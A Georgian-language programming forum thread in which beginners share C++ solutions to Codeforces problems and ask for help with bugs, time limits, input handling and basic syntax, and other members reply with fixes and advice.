O=s1.find("O");
while (O!=-1){
s1.erase(O,1);
O=s1.find("O");
}
A=s1.find("A");
while (A!=-1){
s1.erase(A,1);
A=s1.find("A");
}
U=s1.find("U");
while (U!=-1){
s1.erase(U,1); // ამ მეტოდით erase შლი სტრინგის მასივში find მეთოდით მოძებნილ სიმბოლოს ანუ M წაშალე და კონსოლზე როგორღა გამოიტანს
U=s1.find("M"); // აქ M მაგივრად U უნდა გეწეროს
}
Y=s1.find("Y");
while (Y!=-1){
s1.erase(Y,1);
Y=s1.find("Y");
}
a=s1.find("a");
while (a!=-1){
s1.erase(a,1);
a=s1.find("a");
}
I=s1.find("I");
while (I!=-1){
s1.erase(I,1);
I=s1.find("I");
}
e=s1.find("e");
while (e!=-1){
s1.erase(e,1);
e=s1.find("e");
}
i=s1.find("i");
while (i!=-1){
s1.erase(i,1);
i=s1.find("i");
}
E=s1.find("E");
while (E!=-1){
s1.erase(E,1);
E=s1.find("E");
}
o=s1.find("o");
while (o!=-1){
s1.erase(o,1);
o=s1.find("o");
}
u=s1.find("u");
while (u!=-1){
s1.erase(u,1);
u=s1.find("u");
}
y=s1.find("y");
while (y!=-1){
s1.erase(y,1);
y=s1.find("y");
}
long int c=s1.size();
q=46;
for (int i1=0; i1<c; i1++){
if (s1[i1]<97) s1[i1]=s1[i1]+32;
cout<<q<<s1[i1];
}
}[/CODE]

მადლობა

მექანიკური შეცდომა იყო
სხვა კოდის find-იდან დავაკოპირე და შეცვლა დამავიწყდა ეტყობა

Posted by: Dixtosa 14 Dec 2016, 11:09
Irakli2013
ძაან ცუდი კოდი გიწერია სხვებისას ნახულობ გატარების მერე?

Posted by: Irakli2013 14 Dec 2016, 12:35
Dixtosa
QUOTE
ძაან ცუდი კოდი გიწერია სხვებისას ნახულობ გატარების მერე?


ვიცი რომ ცუდი კოდია biggrin.gif

ვნახე სხვების კოდიც github-ზე
ბევრად უფრო მარტივად შეიძლებოდა თურმე biggrin.gif

Posted by: Dixtosa 14 Dec 2016, 15:01
Irakli2013
გიტჰაბზე რატო? იქვე ნახავ კოდის ზომის, კომპილერის და სხვა რამის მიხედვით შეგიძლია დაალაგო და ძაან კაია.

QUOTE
ვიცი რომ ცუდი კოდია

მთავარია დაწერამდე მიხვდე და არა წერის პროცესში ან ვაფშე დამთავრების მერე biggrin.gif

Posted by: Irakli2013 14 Dec 2016, 23:44
ხომ ვერ დამეხმარებით?

ეს ამოცანა კოდფორსზე:
http://codeforces.com/problemset/problem/339/A

ეს კოდი:
CODE
#include <iostream>
#include <algorithm>
#include <string>
using namespace std;
string s1,s2;
main () {
cin>>s1;
sort (s1.begin(),s1.end());
int a=s1.size()/2;
s1.erase(0,a);
for(int i=0; i<a; i++)
   s2[i]='+';
for (int i=0; i<s1.size(); i++)
   cout<<s1[i]<<s2[i];

}


მე სწორ პასუხს მაძლევს და კოდფორს არ ატარებს რატომღაც

user posted image

Posted by: Optimer 15 Dec 2016, 00:59
Irakli2013
while ციკლით მოაძებნინე ყველა პლუსი და წააშლევინე საერთოდ. მერე დაასორტირე და 3+2+1-დან დალაგდება 1,2,3 და მერე მათ შორის ჩასვი '+' -ები.

მეორე for ციკლით კიდევ ვამოწმებ უბრალოდ და ბოლო ციფრამდე მივდივარ. თუ ბოლო ციფრზე ვარ აღარ გამოიტანოს ბოლო ციფრი და პლუს სიმბოლო, არამედ მარტო ბოლო ციფრი. ბოლო ინდექსი ხო იქნება i და მე ვამოწმებ i+1-ს. i+1 თუ 0 გახდება, ანუ როცა if უარყოფითი იქნება, მარტო დამიბეჭდოს ციფრი და ვსო, პლუსი აღარ მინდა. ეგ იდეაა. საერთოდ ერთ რჩევას მოგცემთ, ახლა მე რაც მიწერია, არაპროფესიონალურია და სასაცილოც კი, მაგრამ დაიმახსოვრეთ, შენი ჩვევები და შენი მიგნებები გქონდეს სჯობს, ვიდრე იფიქრო, რომ ლამაზი კოდი გამოგივიდეს...
user posted image

update: ხო ისე, iostream-შიც არის string-ზე "სამუშაო ფუნქციები", უბრალოდ მაინც დავაინქლუდე...

Posted by: Irakli2013 15 Dec 2016, 21:06
QUOTE (Optimer @ 15 Dec 2016, 00:59 )
while ციკლით მოაძებნინე ყველა პლუსი და წააშლევინე საერთოდ. მერე დაასორტირე და 3+2+1-დან დალაგდება 1,2,3 და მერე მათ შორის ჩასვი '+' -ები.

მეორე for ციკლით კიდევ ვამოწმებ უბრალოდ და ბოლო ციფრამდე მივდივარ. თუ ბოლო ციფრზე ვარ აღარ გამოიტანოს ბოლო ციფრი და პლუს სიმბოლო, არამედ მარტო ბოლო ციფრი. ბოლო ინდექსი ხო იქნება i და მე ვამოწმებ i+1-ს. i+1 თუ 0 გახდება, ანუ როცა if უარყოფითი იქნება, მარტო დამიბეჭდოს ციფრი და ვსო, პლუსი აღარ მინდა. ეგ იდეაა. საერთოდ ერთ რჩევას მოგცემთ, ახლა მე რაც მიწერია, არაპროფესიონალურია და სასაცილოც კი, მაგრამ დაიმახსოვრეთ, შენი ჩვევები და შენი მიგნებები გქონდეს სჯობს, ვიდრე იფიქრო, რომ ლამაზი კოდი გამოგივიდეს...
user posted image

update: ხო ისე, iostream-შიც არის string-ზე "სამუშაო ფუნქციები", უბრალოდ მაინც დავაინქლუდე...

მადლობა

მანამდე ეს კოდიც ვცადე, მაგრამ ერთ-ერთ ტესტზე runtime error დამიწერა

CODE
#include <iostream>
#include <algorithm>
#include <string>
using namespace std;
string s1,s2;
main () {
cin>>s1;
sort (s1.begin(),s1.end());
int a=s1.size()/2;
s1.erase(0,a);
for(int i=0; i<a; i++)
  s2[i]='+';
for (int i=0; i<s1.size(); i++){
  if(s1[i+1]!=0) cout<<s1[i]<<s2[i];
   else cout<<s1[i];
}
}




შენი კოდი ბოლომდე გაატარა

Posted by: Optimer 17 Dec 2016, 01:39
შენმა კოდმა რომელიმე ტესტი გაიარა? იმიტო გეკითხები, რომ აზრი ვერ გავიგე.

კაი ვთქვათ, s1 == "1+2+3". მისი ზომა იქნება 5. მერე შენ მას ყოფ 2-ზე მთელი გაყოფით და a გახდება 2.
erase ფუნქციაც არასწორადაა შედგენილი. პირველად წერ პოზიციას, საიდანაც გინდა წაშლა დაიწყოს და შემდეგ მძიმის მერე წერ თუ რამდენი ელემენტი წაშალოს.
ახლა გიწერია, რომ 0-დან, ანუ ნული ინდექსიდან წაშალოს მომდევნო 2. გამოდის, რომ 1+2+3-დან დაგრჩება 2+3 და რატო აკეთებ ამას ვერ ვიგებ.

Posted by: Irakli2013 17 Dec 2016, 11:05
Optimer

დასორტირებული მაქვს და პლიუსები თავში მოექცა.
მერე კიდევ erase-ით წავშალე

Posted by: Irakli2013 17 Dec 2016, 14:26
დახმარება მჭირდება

ეს არის ამოცანა: http://codeforces.com/problemset/problem/2/A

ეს არის კოდი რომელიც მე დავწერე
CODE
#include <bits/stdc++.h>
using namespace std;
int n,a,b,c;
pair <int,string>arr[1001];
main () {
cin>>n;
for (int i=0; i<n; i++)
   cin>>arr[i].second>>arr[i].first;

   sort (arr,arr+n);
   reverse (arr,arr+n);

   cout<<arr[0].second;
}



საიტი კიდევ მეორე ტესტზევე არასწორ პასუხს მიგდებს

მემგონი პირობა ვერ გავიგე სწორად
იმას არ გვეკითხებიან, ვინ მოაგროვა ყველაზე მეტი ქულა?

Posted by: Optimer 17 Dec 2016, 14:48
Irakli2013
ეგ ამოცანა არ არის მასე მარტივი...

http://codeforces.com/problemset/status/2/problem/A საპროგრამო ენებით გაფილტრე და C++11 ნახე ამოხსნები

Posted by: Pacacia 18 Dec 2016, 10:58
Irakli2013
QUOTE
ეს არის ამოცანა: http://codeforces.com/problemset/problem/2/A

ასე მაქვს ადრე დაწერილი. არაა ეგ დამწყებისთვის ადვილი დასაწერი.

CODE

#include <iostream>
#include <algorithm>
#include <vector>
#include <string>
#include <cmath>
#include <stack>
#include <queue>
#include <deque>
#include <list>
#include <map>
#include <set>
using namespace std;
int a[1005], b, c, d, n, i, j, k;
map <string, int> m1, m2;
string s[1005];

int main() {
cin >> n;
for (i = 0; i < n; i++) {
 cin >> s[i] >> a[i];
 m1[s[i]] += a[i];
}
for (i = 0; i < n; i++) {
 k = max(k, m1[s[i]]);
}
for (i = 0; i < n; i++) {
 if (m1[s[i]] == k)
 {
  m2[s[i]] += a[i];
  if (m2[s[i]] >= k)
  {
   cout << s[i];
   return 0;
  }
 }
}
}

Posted by: Irakli2013 19 Dec 2016, 17:03
Pacacia
QUOTE
ასე მაქვს ადრე დაწერილი. არაა ეგ დამწყებისთვის ადვილი დასაწერი.


რა ვიცი A კი უწერია და biggrin.gif

ისე კონტესტები კარგია?

ბოლო დღეებია დავიწყე დარეგისტრირება
მარტო პირველი ამოცანის ამოხსნას ვახერხებ ხოლმე sad.gif
ხანდახან მაგასაც ვერა
* * *
ახლა გადმოვწერე წიგნები
Серия - « Классика Computer Science »

https://my-rutracker.org/forum/viewtopic.php?t=5198419

cpp-ზეც არის და ბევრ სხვა რამეზეც
კარგი რაღაც ჩანს

Posted by: Irakli2013 23 Dec 2016, 16:09
ამ ამოცანაზე დამეხმარეთ რა

http://codeforces.com/problemset/problem/276/C

ამ კოდზე, მერვე ტესტზე თაიმ ლიმიტი დამიწერა
CODE

#include <iostream>
#include <algorithm>
using namespace std;
long long a1[200005],a2[200005];
long long n,q,i;
long long l,r;
long long ans;
int main () {
cin>>n>>q;
for (i=0; i<n; i++){
cin>>a1[i];
}
for (i=0; i<q; i++){
cin>>l>>r;
a2[l-1]++; a2[r]--;
}
for (i=0; i<n; i++){
a2[i]=a2[i]+a2[i-1];
}
sort (a1,a1+n);
sort (a2,a2+n);

for (i=0; i<n; i++) { ans=ans+a1[i]*a2[i]; }
cout<<ans;


}


მერე cin და cout შევცვალე scanf-ით და printf-ით (დრო რომ შემემცირებინა) და უკვე მეშვიდე ტესტზე მაძლევდა არასწორ პასუხს

CODE
#include <iostream>
#include <cstdio>
#include <algorithm>
using namespace std;
long long a1[200005],a2[200005];
long long n,q,i;
long long l,r;
long long ans;
int main () {
scanf("%d%d", &n, &q);
for (i=0; i<n; i++){
cin>>a1[i];
}
for (i=0; i<q; i++){
scanf("%d%d", &l, &r);
a2[l-1]++; a2[r]--;
}
for (i=0; i<n; i++){
a2[i]=a2[i]+a2[i-1];
}
sort (a1,a1+n);
sort (a2,a2+n);

for (i=0; i<n; i++) { ans=ans+a1[i]*a2[i]; }
printf("%d",ans);


}

Posted by: Irakli2013 25 Dec 2016, 17:09
როგორც იქნა
მე-17 ცდაზე გავაკეთე

CODE
#include <iostream>
#include <cstdio>
#include <algorithm>
using namespace std;
long long a1[200005],a2[200005],n,q,i,l,r,ans;
int main () {
scanf("%d%d", &n, &q);
for (i=0; i<n; i++){
scanf("%I64d",&a1[i]);
}
for (i=0; i<q; i++){
scanf("%I64d%I64d", &l, &r);
a2[l-1]++; a2[r]--;
}
for (i=0; i<n; i++){
a2[i]=a2[i]+a2[i-1];
}
sort (a1,a1+n);
sort (a2,a2+n);

for (i=0; i<n; i++) {
ans=ans+a1[i]*a2[i];
}
cout<<ans;


}

Posted by: gigola9 10 Jan 2017, 01:45
QT რა პონტია ან visual cpp-სგან რით განსხვავდება?

Posted by: Irakli2013 20 Jan 2017, 18:07
დამეხმარეთ რა

პატარა პროგრამის დაწერა მინდა, უნივერსიტეტში ამოცანა გვქონდა და არასწორად გამიკეთებია sad.gif

მოკლედ, მოცემული გვაქვს ბანკის n თანამშრომელთა სია და ვინ რამდენი გადარიცხვა განახორციელა. მენეჯერს კიდევ უნდა რომ დააჯილდოვოს k თანამშრომელი, რომლებმაც ყველაზზე მეტი გადარიცხვა განახორციელეს.

თავიდან pair-ით გავაკეთე
CODE
pair <int,string> bank [105];

მერე დავასორტირე და ბოლოდან k-ს გამოტანა მივუთითე, მაგრამ დამავიწყდა, რომ 1 სტრინგში სახელს და გვარს (სფეისით გამოყოფილს) ვერ ჩავწერდი. ხოდა ახლა ვნახე struct ბრძანება, მაგრამ ვერ დავამუღამე და ამიხსენით, როგორ უნდა შევიტანო მონაცემები struct-ში?

CODE
#include <iostream>
using namespace std;
struct bank {
string name;
string surname;
int transaction;
};
int main () {
int n,k;
cin>>n>>k;
for (int i=0; i<n; i++)
     {
   cin>>//აქ როგორ შევიტანო მონაცემები, რომ ერთმანეთთან იყოს დაკავშირებული სახელი, გვარი და რაოდენობა და სორტირებისას არ აირიოს?
    }
}

Posted by: sergo_bero 20 Jan 2017, 18:43
Irakli2013
cin -ის მაგივრად getline გამოიყენე კონსოლიდან წასაკითხად და პირდაპირ შეინახე სტრინგში ( სფეისით გამოყოფილი )

Posted by: Pacacia 20 Jan 2017, 19:07
Irakli2013
ან გეთლაინით უნდა წაგეკითხა, ან Kიდევ იყო ერთი ვარიანტი:
სტრაქტი უნდა დაგეწერა 2 სტრინგით და 1 ინტი.
pair <int, pair<string,string>> ასე ძალიან მარტივად Dაწერდი. უბრალოდ დასორტავდი pair-ს და Eგ იყო

Posted by: ვიღაცაგადარეული 22 Jan 2017, 23:15
ყველაზე ნუბური შეკითხვა უნდა დავსვა ეხლა და არ მომაწვეთ რეებს გვეკითხებიო.

ვინმემ გამოყავით დრო და ამიხსენით ზოგადად პროგრამირების შესავალი პრინციპები c++ რა პრინციპით მუშაობ ან ჯავა.


რაღაცა ტუტორიალი დადეთ ტიპისთვის რომელსაც ვააფშე წარმოდგენა არ აქ არაფერზე და 0 დან იწყებს sleep.gif


https://www.sololearn.com/Play/CPlusPlus

თუ ვინმე ხართ კიდე ჩემ დღეში და ზოგადად მუშაობის პრინციპი გაინტერესებთ კაი საიტია ეს.

Posted by: Irakli2013 24 Jan 2017, 17:17
კოდფორსზე დახმარება მჭირდება

ეს ამოცანაა: http://codeforces.com/problemset/problem/4/C

ეს კიდევ ჩემი კოდი, რომელსაც მეშვიდე ტესტზე დროის გადაჭარბების გამო არ ატარებს კოდფორსი
CODE
#include <iostream>
using namespace std;
struct {
string name;
int num;
}a[100005];
main () {
int n;
cin>>n;
for (int i=0; i<n; i++){
   cin>>a[i].name;
}
for (int i=0; i<n; i++){
   for (int j=i+1; j<n; j++){
       if (a[i].name==a[j].name) a[j].num++;
   }
}
for (int i=0; i<n; i++){
   if (a[i].num>0) cout<<a[i].name<<a[i].num<<endl;
   else cout<<"OK"<<endl;
}
}


ამის შემდეგ შევცვალე cin scanf-ით, დრო რომ მომეგო, მაგრამ ახლა საერთოდ აღარ მუშაობს კოდი და ამას წერს:
QUOTE
Exit code is -1073741819

help.gif

CODE
#include <iostream>
#include <cstdio>
using namespace std;
struct {
string name;
int num;
}a[100005];
main () {
int n;
cin>>n;
for (int i=0; i<n; i++){
   scanf("%s", &a[i].name);
}
for (int i=0; i<n; i++){
   for (int j=i+1; j<n; j++){
       if (a[i].name==a[j].name) a[j].num++;
   }
}
for (int i=0; i<n; i++){
   if (a[i].num>0) cout<<a[i].name<<a[i].num<<endl;
   else cout<<"OK"<<endl;
}
}


Posted by: Pacacia 24 Jan 2017, 22:06
Irakli2013
CODE

#include<iostream>
#include<string>
#include <algorithm>
#include <map>
using namespace std;
int a, b, c, d, n, i, k;
map <string, int> m;
string s[100005];

int main() {
cin >> n;
for (i = 0; i < n; i++) {
 cin >> s[i];
}
for (i = 0; i<n; i++) {
 if (m[s[i]] == 0) {
  cout << "OK" << endl;
 }
 else {
  cout << s[i] << m[s[i]] << endl;
 }
 m[s[i]]++;
}
}

Posted by: Irakli2013 25 Jan 2017, 14:08
Pacacia

მადლობა

Posted by: BIGPAPI 31 Jan 2017, 21:09
გამარჯობა

ქართული ენა როგორ გამოვიყენო C++ში?

setlocale(LC_ALL , "Georgian"); ვცადე, მაგრამ არ გამომივიდა...

Posted by: Dixtosa 31 Jan 2017, 21:29
BIGPAPI
QUOTE
ქართული ენა როგორ გამოვიყენო C++ში?

რას გულისხმობ?

Posted by: BIGPAPI 31 Jan 2017, 23:29
QUOTE
რას გულისხმობ?


დილეტანტურად ვსვავ კითხვას, ეხლა ვსწავლობ C++ს და ვეცდები გასაგებად ვიკითხო.

ანუ კოდის წერისას გამოვიყენო ქართული ენა/ასოები, რომელიც მინდა გამოჩნდეს შემდეგ პროგრამაში.

drug.gif

მარტივი მაგალითი:


#include <iostream>
#include <conio.h>

int main()
{
using std::cout;
using std::cin;
using std::endl;

cout << "\t\t\t***რამდენის ყიდვა შემიძლია***\n\n\n";

int Cost, Money, Count;

cout << "შეიყვანე ფასი: ";

cin >> Cost;

cout << "შეიყვანე თანხის ოდენობა: ";

cin >> Money;

Count = Money / Cost;

cout << "რა რაოდენობის პროდუქტის ყიდვა შეიძლება: " << Count << " products\n";

_getch();
return 0;
}

Posted by: BIGPAPI 5 Feb 2017, 23:00
ქართული ენა როგორ გამოვაჩნო პროგრამაში?

მადლობა წინასწარ.

Posted by: Dixtosa 7 Feb 2017, 20:08
QUOTE
ქართული ენა როგორ გამოვაჩნო პროგრამაში?

BIGPAPI
მარტივია მაგაზე პასუხი: არ უნდა ქნა.

უნიში თუ გაქ დავალება არავინ მოგთხოვს ქართული ასოების გამოჩენას.


თუ შენი ჭიის გახარება მაინც გინდა დაგუგლე. აი მაგალითად ეს ნახე http://stackoverflow.com/questions/2492077/output-unicode-strings-in-windows-console-app

Posted by: Irakli2013 8 Feb 2017, 22:23
ამ ამოცანას ვაკეთებდი: http://codeforces.com/problemset/problem/52/A

და ამ კოდს 18 ტესტზე მიჭდავდა დროის ლიმიტის გადაჭარბების გამო

CODE
#include <iostream>
#include <algorithm>
using namespace std;
int n, a[4];
int x;
main () {
cin>>n;
for (int i=0; i<n; i++){
       cin>>x;
       a[x]++;
}
sort (a+1,a+4);
cout<<n-a[3];
}


შემდეგ სხვისი კოდი ვნახე და ეს ჰქონდა დაწერილი
CODE
ios::sync_with_stdio(false);


ჩავუმატე ჩემს კოდში და გაიარა ყველა ტესტი

ხოდა მაინტერესებს ეს: ios::sync_with_stdio(false); რას აკეთებს კოდში?

Posted by: bersena 8 Feb 2017, 22:49
Irakli2013


ზუსტად ის კოდი გავუშვი და იმუშავა drug.gif

რომელი კომპილერით უშვებ?

Posted by: Irakli2013 8 Feb 2017, 23:22
bersena
QUOTE
ზუსტად ის კოდი გავუშვი და იმუშავა 


user.gif
http://www.picz.ge

QUOTE
რომელი კომპილერით უშვებ?


gnu c++11

Posted by: Pacacia 9 Feb 2017, 12:10
Irakli2013
როცა მაგდენი მონაცემი შემოდის, scanf გამოიყენე შემოსატანად. გამოტანისას printf

Posted by: shako-shako 1 Mar 2017, 15:19
დახმარება მჭირდება პროგამის დასაწერად და თუ შეგიძლიათ ვინმეს პირადში მომწერეთ არ დაიზაროთ

Posted by: FTW 1 Apr 2017, 17:39
გამარჯობათ ბიჭებო და გოგოებო smile.gif
მოკლედ, გადავხედე პროგრამირებას მაგრამ ვერ გავიგე სად უნდა ვიკითხო.
წესით თქვენ უნდა შეგეძლოთ ჩემი დახმარება.
საიდან უნდა გადმოვწერო C++? გაკვეთილები არ მინდა. თვითონ პროგრამა რაშიც კოდი უნდა დაიწეროს. თუ კომპილატორი. რა ქვია არ მახსოვს.
ეს ყველაფერი დამწყებისთვის მინდა .
ორი სიტყვით ამიხსენით და დამაკვალიანეთ რა კაცურად.
მადლობა დიდი ყველას

Posted by: ბიჭური 1 Apr 2017, 18:10
FTW

C++ არ არის რეკომენდირებული როგორც პირველი ენა რომელსაც ისწავლი, ძალიან რთულია.
უნდა დაიწყო უბრალოდ C-თი.

Microsoft Visual Studio 2017 გადმოწერე და დააყენე - https://www.visualstudio.com/downloads/
შეგიძლია ასევე Сode Blocks სცადო http://www.codeblocks.org/
წიგნი - http://faculty.euc.ac.cy/scharalambous/csc131/books/C%20book%201.pdf



პირდაპირ გეტყვი რომ C ძირითადად სისტემურ პროგრამირებაში გამოიყენება, ამიტომ უბრალო პროგრამებს რაც სავარაუდოდ შენ გინდა ვერ დაწერ მარტივად ისე როგორც C# ან Java-ში, მაგრამ თუ წაიკითხავ ამ წიგნს და C ისწავლი ცოტას მაინც, ძალიან კარგი იქნება.

ზოგადად პროგრამირება რას წარმოადგენს ამის გასაგებად აუცილებელია, შემდეგ შეგიძლია უკვე გადახვიდე სხვა ენებზე, გაცილებით მარტივად აითვისებ

Posted by: Joseph1992 1 Apr 2017, 19:46
ბიჭური
C Modern Approach ბევრად კარგი წიგნია IMHO.

Posted by: FTW 1 Apr 2017, 20:26
ბიჭური
გაიხარე, მადლობა დიდი მაგ ინფორმაციისთვის. მაგრამ მეგობრისთვის მინდა. უბრალოდ C++ საიდან გადმოვწერო ეგ მითხარი თუ შეგიძლია.
კრეკი ან რამე ხომ არ უნდა? ეგ მაინტერესებს მხოლოდ. რომ ზუსტად დავულინკო და დააყენოს. დანარჩენს მიხედავს

Posted by: Irakli2013 3 Apr 2017, 15:34
FTW
QUOTE
უბრალოდ C++ საიდან გადმოვწერო ეგ მითხარი თუ შეგიძლია


ვიზუალ სტუდიოშიც და კოდბლოკსშიც შეიძლება c++ პროგრამების წერა

Posted by: FTW 3 Apr 2017, 15:48
Irakli2013
ok მადლობა, მადლობა.

დაკრეკვა და სერიალ ნამბერები უნდა მაგას?

Posted by: Irakli2013 4 Apr 2017, 11:14
FTW

QUOTE
დაკრეკვა და სერიალ ნამბერები უნდა მაგას?


არა

Posted by: Irakli2013 30 Apr 2017, 15:06
რჩევა მჭირდება ამ ამოცანაში: http://codeforces.com/problemset/problem/318/A

ესეთი კოდი დავწერე
CODE
#include <bits/stdc++.h>
#define ll long long
using namespace std;
ll n,m,i,k,var1,var2;
main () {
cin>>n>>m;
ll odd[n/2+(n%2)], even[n/2];
for (i=0, k=1; i<n/2+(n%2) && k<=n; i++, k+=2){
   odd[i]=k; var1=i+1;}
for (i=0, k=2; i<n/2 && k<=n; i++, k+=2){
   even[i]=k; }
if (m<=var1) cout<<odd[m-1];
   else cout<<even[m-1-var1];
}


მაგრამ მერვე ტესტზე 1000000000000 და 500000000001 შემოაქვს ცვლადებად და დროის ლიმიტს მიწერს და რას მირჩევთ?

Posted by: Pacacia 1 May 2017, 08:38
Irakli2013
ციკლით ვერ გაივლი მაგ ამოცანას smile.gif

CODE

#include <iostream>
#include <algorithm>
#include <cmath>
using namespace std;
long long a,b,c,d=1,n,m,i,j,k,l,s,t;

int main() {
   cin>>n>>k;
   if(k>(n+1)/2) cout<<2*(k-(n+1)/2);
   else cout<<2*k-1;
}

Posted by: Irakli2013 16 May 2017, 21:15
შეგიძლიათ რჩევა მომცეთ ამ ამოცანასთან დაკავშირებით? http://codeforces.com/problemset/problem/791/C

Posted by: syaruna 21 May 2017, 01:59
#include<iostream>
using namespace std;
void main()
{
const int DayIn_2000Year = 732000;
const int HourInDay = 24;
int HourIn_Year2000 = DayIn_2000Year*HourInDay;
cout << "\t\t In 2000 year " << HourIn_Year2000;
cout << "hours\n ";


რა უნდა რა შეცდომა მაქ?

Posted by: Roofus 21 May 2017, 05:11
syaruna
უნდა დახურო } და სანამ დახურავ return 0;

Posted by: Metal_Head 21 May 2017, 13:27
void main() - რატომ ? და არა int main() ,დავგუგლე უცხოურ ფორუმებზე და მაინც ვერ გავიგე იქნებ ვინმემ ამიხსნათ.

Posted by: syaruna 21 May 2017, 19:21
Roofus
დაკეტილი მქონდა უბრალოთ ბოლომდე არ დააკოპირა ალბათ იმიტომ არ ჩანს აქ ფორუმზე
მოკლედ გავთიშე თავიდან ჩავრთე გავხსენი პროექტი და გაიშვა სხვათაშორის return 0; ზე შეცდომა მომცა ისე უშვებს...

Posted by: samakas 21 May 2017, 19:41
Metal_Head
main()-მა ინტი უნდა დააბრუნოს და შესაბამამისად void ვერ იქნება

Posted by: ბიჭური 21 May 2017, 21:24
Metal_Head
samakas


CODE
main()-მა ინტი უნდა დააბრუნოს და შესაბამამისად void ვერ იქნება

CODE
void main() - რატომ ? და არა int main() ,დავგუგლე უცხოურ ფორუმებზე და მაინც ვერ გავიგე იქნებ ვინმემ ამიხსნათ.


არ აქვს არსებითი მნიშვნელობა, მხოლოდ ფორმალობაა.
ჩვეულებრივ გაეშვება ეს კოდი :

CODE
#include <stdio.h>


void main() {

 
printf("Hello, World!\n");


}



syaruna

CODE
მოკლედ გავთიშე თავიდან ჩავრთე გავხსენი პროექტი და გაიშვა სხვათაშორის return 0; ზე შეცდომა მომცა ისე უშვებს...


return 0 შეცდომას მოგცემდა იმიტომ რომ ფუნქცია გაქვს void ტიპის (ე.ი არ აბრუნებს მნიშვნელობას), შენ კიდე 0-ს აბრუნებ

Posted by: syaruna 21 May 2017, 22:05
ბიჭური
და ეს 0 ის ბრუნვა რაში გამოიყენება და რა დადებითი მხარე აქვს?

Posted by: syaruna 23 May 2017, 00:52
და კიდევ აი ასეთ სიტვაციაში
{-ის მერე int-ს რა ფუნქცია აქვს?

* * *
#include<iostream>
using namespace std;
void main()
{
int a, b;
cout << "shemoitane 2 ricxvi:";
cin >> a >> b;
a >= b ? cout << a << ">=" << b << endl:cout << b << ">" << a << endl;



ამ კოდს ვერ ჩავწვდი როგორ იგებს რომელია მეტი ან ნაკლები?
>= ვიცი რო მეტია ან ნაკლებს ნიშნავს.

Posted by: Pacacia 24 May 2017, 10:43
syaruna
ternary operator დაგუგლე

Posted by: DEATHNESS 29 May 2017, 21:24
QUOTE (syaruna @ 23 May 2017, 00:52 )
და კიდევ აი ასეთ სიტვაციაში
{-ის მერე int-ს რა ფუნქცია აქვს?

* * *
#include<iostream>
using namespace std;
void main()
{
int a, b;
cout << "shemoitane 2 ricxvi:";
cin >> a >> b;
a >= b ? cout << a << ">=" << b << endl:cout << b << ">" << a << endl;



ამ კოდს ვერ ჩავწვდი როგორ იგებს რომელია მეტი ან ნაკლები?
>= ვიცი რო მეტია ან ნაკლებს ნიშნავს.

პიველ რიგში >= ეს არ ნიშნავს მეტია ან ნაკლებია ეს არის მეტია ან ტოლია
თვითონ სკრიპტი ადვილი გასაგევია
გაქ რაღაც a, b; ცვლადი მერე cin >> a >> b; ანუ მომხმარებელს აძლევ უფლებას თვითონ შეიყვანოს ამ ცვლადების მნიშვნელობა რაც უნდა რადგან
int ესეიგი მხოლოდ მტელ რიცხვებზე იზავს
ბოლო ხაზი კი თრუ ან ფოლსია
თუ მომხმარეებლის მიერ შეყვანილი ა >ან = ბ სი ესეიგი არის თრუ ანუ სიმართლე და შესრულდება პირველი სიაუთი : მდე რაც არის გაწერილი
თუ ა< ბ ზე მაშინ ფოლსია და შესრულდება : ის მერე სიაუთი ანუ დაიწერება რო ბ მეტია ა ზე

Posted by: syaruna 1 Jun 2017, 08:41
DEATHNESS
დაგვიანებულია მარა მაინც მადლობა.


დავალებები სად ვნახო ს ზე რომ ვივარჯიშო ოგონდ while do while da switchs არ გავცდენივარ ჯერ ნუბური დავალებები მინდა რომ ძაან არ გავწვალდე smile.gif

Posted by: syaruna 3 Jun 2017, 00:40
#include<iostream>
using namespace std;
void main()
{
int a, b;
long long sumOdds = 0, sumEvens = 0;
cin >> a >> b;

if (!(a % 2)) {
sumEvens += a;
a++;
}
while (a <= b)
{
sumOdds += a++;
sumEvens += a++;
}
if (b % 2)
sumEvens -= b + 1;

cout << "kentebis jami = " << sumOdds << endl;
cout << "luwebis jami = " << sumEvens << endl;
}



ვისაც შეგიძლიათ თითეული ხაზი ამიხწერეთ რას აკეთებს პლიზზ cry.gif

Posted by: Metal_Head 3 Jun 2017, 22:14
syaruna
კონკრეტულად რა ვერ გაიგე ?!
ანუ while სტეიტმენტი თუ if
long long ვერ გაიგე?

void main-ს რატომ იყენებ?
ცუდი ჩვევაა .

Posted by: syaruna 4 Jun 2017, 00:57
Metal_Head
უკვე გავიგე ყველაფერი
და ვიიდ მეინს და ინტ მეინს შორის რა განსხვავებაა? რავი მაგით დამაწყებინეს კოდის წერა
.

Posted by: Metal_Head 4 Jun 2017, 19:28
QUOTE
და ვიიდ მეინს და ინტ მეინს შორის რა განსხვავებაა? რავი მაგით დამაწყებინეს კოდის წერა

ინტი როგორც წესი ცვლადს აბრუნებს ,ანუ გეხმარება გამოიცნო პროგრამა წარმატებით გაიშვა თუ არა , მარა თუ მაგით დაგაწყებინეს მაშინ მასე სჯობს გააგრძელო

QUOTE
უკვე გავიგე ყველაფერი

ოკ , მე ვერ გავიგე , რაღაცეები და თუ შეძლებ რომ ამიხსნა ,

#include<iostream>
using namespace std;
int main()
{
int a, b;
long long sumOdds = 0, sumEvens = 0;
cin >> a >> b;

/*if (!(a % 2)) {
sumEvens += a;
a++;*}*/

while (a <= b)
{
sumOdds += a++;
sumEvens += a++;
}
/*if (b % 2)
sumEvens -= b + 1;
*/
cout << "kentebis jami = " << sumOdds << endl;
cout << "luwebis jami = " << sumEvens << endl;
}

----------------------------------------------------------------------
QUOTE

while (a <= b)
{
sumOdds += a++;
sumEvens += a++;
}


აი ეს ბრძანება ვერ გავიგე , სიტყვაზე შევიტანოთ ნებისმიერი 2 ციფრი , რანაირად იხსნება ეს a++ მაბნევს ,

Posted by: syaruna 4 Jun 2017, 23:08
Metal_Head
ანუ როგორც მე გავიგე შეყვანილ ციფრს ერთით მატებს და პახოდუი უსასრულოდ რომ არ ჩაიციკლოს ცვლადი მაგასაც აკეთებს

Posted by: sergo_bero 5 Jun 2017, 01:41
Metal_Head
ე.ი.

QUOTE

1. /*if (!(a % 2)) {
2. sumEvens += a;
3. a++;*}*/

ეს კოდი კი მიკომენტარებულია, მაგრამ ამოწმებს რიცხვი არის თუ არა ლუწი ( 1 ხაზი ), თუ ლუწია, sumEvens-ს უმატებს a-ს ( ხაზი 2 ),
ხოლო შემდეგ ხაზზე ( 3 ), a-ს უმატებს 1-ს ( a++ იგივე a = a + 1 ია )

ანუ შევთანხმდით რომ, a++ იგივეა რაც, a-ს გაზრდა 1 ით.

